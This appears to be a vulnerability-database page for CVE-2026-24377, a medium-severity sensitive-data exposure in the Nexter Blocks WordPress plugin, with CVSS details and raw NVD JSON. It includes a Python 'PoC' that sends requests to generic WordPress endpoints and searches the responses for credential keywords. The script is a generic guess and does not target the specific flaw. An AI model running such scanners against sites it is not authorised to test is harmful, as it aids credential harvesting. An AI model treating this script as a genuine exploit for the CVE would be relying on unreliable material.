Security Vulnerability Report
中文
CVE-2026-24377 CVSS 4.3 MEDIUM

CVE-2026-24377

Published: 2026-01-22 17:16:41
Last Modified: 2026-04-28 15:16:08

Description

Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in POSIMYTH Nexter Blocks the-plus-addons-for-block-editor allows Retrieve Embedded Sensitive Data.This issue affects Nexter Blocks: from n/a through <= 4.6.3.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

No configuration data available.

Nexter Blocks (the-plus-addons-for-block-editor) <= 4.6.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-24377 PoC - Nexter Blocks Sensitive Data Exposure # Target: WordPress site with Nexter Blocks plugin <= 4.6.3 import requests import sys def check_vulnerability(target_url): """ Check if the target is vulnerable to CVE-2026-24377 """ # Common vulnerable endpoints endpoints = [ '/wp-json/wp/v2/pages', '/wp-json/the-plus-addons/v1/', '/wp-admin/admin-ajax.php', ] headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36', 'Content-Type': 'application/json' } print(f"[*] Testing target: {target_url}") print(f"[*] CVE-2026-24377: Nexter Blocks Sensitive Data Exposure") # Test with low-privilege user session or unauthenticated session = requests.Session() for endpoint in endpoints: try: url = target_url.rstrip('/') + endpoint response = session.get(url, headers=headers, timeout=10) # Check for sensitive data exposure indicators if response.status_code == 200: content = response.text.lower() sensitive_keywords = ['password', 'api_key', 'secret', 'token', 'credential', 'db_'] for keyword in sensitive_keywords: if keyword in content: print(f"[+] VULNERABLE: Found potential sensitive data at {endpoint}") print(f"[+] Keyword matched: {keyword}") print(f"[+] Response snippet: {response.text[:500]}...") return True except requests.RequestException as e: print(f"[-] Error testing {endpoint}: {str(e)}") print("[*] No obvious vulnerability detected") print("[*] Manual verification recommended") return False if __name__ == '__main__': if len(sys.argv) < 2: print("Usage: python cve-2026-24377-poc.py <target_url>") print("Example: python cve-2026-24377-poc.py http://example.com") sys.exit(1) target = sys.argv[1] check_vulnerability(target)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-24377", "sourceIdentifier": "[email protected]", "published": "2026-01-22T17:16:40.663", "lastModified": "2026-04-28T15:16:07.960", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Exposure of Sensitive System Information to an Unauthorized Control Sphere vulnerability in POSIMYTH Nexter Blocks the-plus-addons-for-block-editor allows Retrieve Embedded Sensitive Data.This issue affects Nexter Blocks: from n/a through <= 4.6.3."}, {"lang": "es", "value": "Exposición de Información Sensible del Sistema a una Esfera de Control No Autorizada vulnerabilidad en POSIMYTH Nexter Blocks the-plus-addons-for-block-editor permite Recuperar Datos Sensibles Incrustados. Este problema afecta a Nexter Blocks: desde n/a hasta &lt;= 4.6.3."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-497"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/the-plus-addons-for-block-editor/vulnerability/wordpress-nexter-blocks-plugin-4-6-3-sensitive-data-exposure-vulnerability?_s_id=cve", "source": "[email protected]"}]}}